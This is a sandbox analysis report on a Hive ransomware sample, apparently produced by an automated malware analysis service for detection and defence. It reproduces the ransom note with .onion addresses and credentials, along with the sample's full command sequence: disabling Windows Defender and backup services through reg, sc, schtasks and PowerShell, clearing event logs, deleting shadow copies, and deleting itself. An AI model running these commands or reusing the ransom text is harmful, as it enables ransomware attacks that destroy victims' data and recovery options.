Overview

overview

10

Static

static

3

JaffaCakes...9d.exe

windows7-x64

10

JaffaCakes...9d.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-01-2025 15:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    JaffaCakes118_6c1444d0e1c63881918fdd4d60d54f9d.exe

  • Size

    3.3MB

  • MD5

    6c1444d0e1c63881918fdd4d60d54f9d

  • SHA1

    408db71f315ae43204f1a34b6f28c5ac51d5507b

  • SHA256

    d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33

  • SHA512

    bacf08c9d9c93495f01356589249dba5d5b8588acb7f00eb7d92e784875ef9610e37687ff32233c49f862f5564c6cf1fe0643ea8179a3e1be98eec65485525c1

  • SSDEEP

    49152:uVcQjH6VIOIgQFF3KzfKeSQSqFvVqp/kHzQJqEFH1D1R:uVpjK7xWF34fSQSqFvVqpcfE

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\wFLb_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: W52KvHE3BsXH Password: LbYFVa6Kw45h4it4UzCU To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.euq5i files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6c1444d0e1c63881918fdd4d60d54f9d.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6c1444d0e1c63881918fdd4d60d54f9d.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5056
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1860
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:440
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
          PID:4244
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SstpSvc" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SstpSvc" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1104
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "vmicvss" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4776
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "vmicvss" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:100
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "VSS" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1148
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "VSS" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4388
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "wbengine" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3276
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "wbengine" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1868
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "WebClient" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2980
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "WebClient" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4724
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "UnistoreSvc_27357" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3596
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "UnistoreSvc_27357" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1032
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SamSs" start= disabled
        2⤵
        • Launches sc.exe
        PID:4976
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SDRSVC" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4940
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SstpSvc" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3920
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "vmicvss" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3108
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "VSS" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4700
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "wbengine" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4236
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "WebClient" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1408
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "UnistoreSvc_27357" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3768
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
        2⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:2712
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        2⤵
          PID:1560
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:5040
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4684
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3412
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:3008
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2528
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:4876
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2652
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1040
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
          2⤵
            PID:5052
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:5080
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2732
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4636
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2836
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3428
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1536
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4028
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1072
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1116
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:976
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:5108
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:388
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4100
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1532
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3212
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2744
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:3496
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:3820
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:712
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:3860
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies security service
            • System Location Discovery: System Language Discovery
            PID:4720
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:3068
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl system
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4764
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl security
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3872
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl application
            2⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:2184
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic.exe SHADOWCOPY /nointeractive
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4552
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic.exe shadowcopy delete
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4476
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1256
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
            2⤵
            • System Location Discovery: System Language Discovery
            PID:5004
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableIOAVProtection $true
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4608
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3608
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableRealtimeMonitoring $true
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4388
          • C:\Windows\SysWOW64\notepad.exe
            notepad.exe C:\wFLb_HOW_TO_DECRYPT.txt
            2⤵
            • System Location Discovery: System Language Discovery
            • Opens file in notepad (likely ransom note)
            PID:1784
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6c1444d0e1c63881918fdd4d60d54f9d.exe"
            2⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:1188
            • C:\Windows\SysWOW64\PING.EXE
              ping.exe -n 5 127.0.0.1
              3⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2620

        Network

        MITRE ATT&CK Enterprise v15

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        System Services

        1
        T1569

        Service Execution

        1
        T1569.002

        Windows Management Instrumentation

        1
        T1047

        Persistence

        Create or Modify System Process

        3
        T1543

        Windows Service

        3
        T1543.003

        Privilege Escalation

        Create or Modify System Process

        3
        T1543

        Windows Service

        3
        T1543.003

        Defense Evasion

        Impair Defenses

        2
        T1562

        Disable or Modify Tools

        1
        T1562.001

        Indicator Removal

        2
        T1070

        Clear Windows Event Logs

        1
        T1070.001

        File Deletion

        1
        T1070.004

        Modify Registry

        3
        T1112

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Remote System Discovery

        1
        T1018

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        1
        T1016

        Internet Connection Discovery

        1
        T1016.001

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Exfiltration

        Impact

        Inhibit System Recovery

        1
        T1490

        Service Stop

        1
        T1489

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Common Files\DESIGNER\wFLb_HOW_TO_DECRYPT.txt
          Filesize

          1KB

          MD5

          1ca4bccdc072b810cb3f0080d616317a

          SHA1

          80dea435c073d9b0a2a54a853df4dc058ebd3352

          SHA256

          48f9f649dfdf74a453d0229070bfdadd27c93e014f56cf36992758b70350e169

          SHA512

          fcacc4812f6cd93cb91a5e502fe3571eefba692defdd52f67b55cad3790405535ff156ba87360dcccd86e0766e03ddbd6a1c547b7cd40d1f32ccf7e51dfc4488

          Download Submit

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

          Download Submit

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          18KB

          MD5

          6c1c28aa2669f200db957171593ea7cf

          SHA1

          a5db16a09e03146257fed7467607db0217184f72

          SHA256

          319757ad61c57b0e0b73e9998613fa931a54a9663689a12fcd501580258b2ebf

          SHA512

          0519251cf107a14f094df1a1544011b49c0af8a704346322b29a301f234065fb785796bd8269f6c55c6c3cd82d6fe20e76d0fe1275c446e5cb64b7e26cecc0e2

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e24ickkw.yt2.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • memory/4388-54-0x0000000074D30000-0x0000000074D7C000-memory.dmp

          Filesize

          304KB

          Download

        • memory/4608-31-0x0000000006DA0000-0x0000000006E43000-memory.dmp

          Filesize

          652KB

          Download

        • memory/4608-35-0x0000000007160000-0x00000000071F6000-memory.dmp

          Filesize

          600KB

          Download

        • memory/4608-17-0x0000000005BB0000-0x0000000005BCE000-memory.dmp

          Filesize

          120KB

          Download

        • memory/4608-18-0x0000000005BF0000-0x0000000005C3C000-memory.dmp

          Filesize

          304KB

          Download

        • memory/4608-19-0x0000000006180000-0x00000000061B2000-memory.dmp

          Filesize

          200KB

          Download

        • memory/4608-20-0x0000000074D30000-0x0000000074D7C000-memory.dmp

          Filesize

          304KB

          Download

        • memory/4608-30-0x00000000061C0000-0x00000000061DE000-memory.dmp

          Filesize

          120KB

          Download

        • memory/4608-2-0x0000000000E90000-0x0000000000EC6000-memory.dmp

          Filesize

          216KB

          Download

        • memory/4608-32-0x0000000007520000-0x0000000007B9A000-memory.dmp

          Filesize

          6.5MB

          Download

        • memory/4608-33-0x0000000006EE0000-0x0000000006EFA000-memory.dmp

          Filesize

          104KB

          Download

        • memory/4608-34-0x0000000006F50000-0x0000000006F5A000-memory.dmp

          Filesize

          40KB

          Download

        • memory/4608-16-0x0000000005690000-0x00000000059E4000-memory.dmp

          Filesize

          3.3MB

          Download

        • memory/4608-36-0x00000000070E0000-0x00000000070F1000-memory.dmp

          Filesize

          68KB

          Download

        • memory/4608-37-0x0000000007110000-0x000000000711E000-memory.dmp

          Filesize

          56KB

          Download

        • memory/4608-38-0x0000000007120000-0x0000000007134000-memory.dmp

          Filesize

          80KB

          Download

        • memory/4608-39-0x0000000007220000-0x000000000723A000-memory.dmp

          Filesize

          104KB

          Download

        • memory/4608-40-0x0000000007200000-0x0000000007208000-memory.dmp

          Filesize

          32KB

          Download

        • memory/4608-6-0x00000000054A0000-0x0000000005506000-memory.dmp

          Filesize

          408KB

          Download

        • memory/4608-5-0x00000000053C0000-0x0000000005426000-memory.dmp

          Filesize

          408KB

          Download

        • memory/4608-4-0x0000000004CE0000-0x0000000004D02000-memory.dmp

          Filesize

          136KB

          Download

        • memory/4608-3-0x0000000004D20000-0x0000000005348000-memory.dmp

          Filesize

          6.2MB

          Download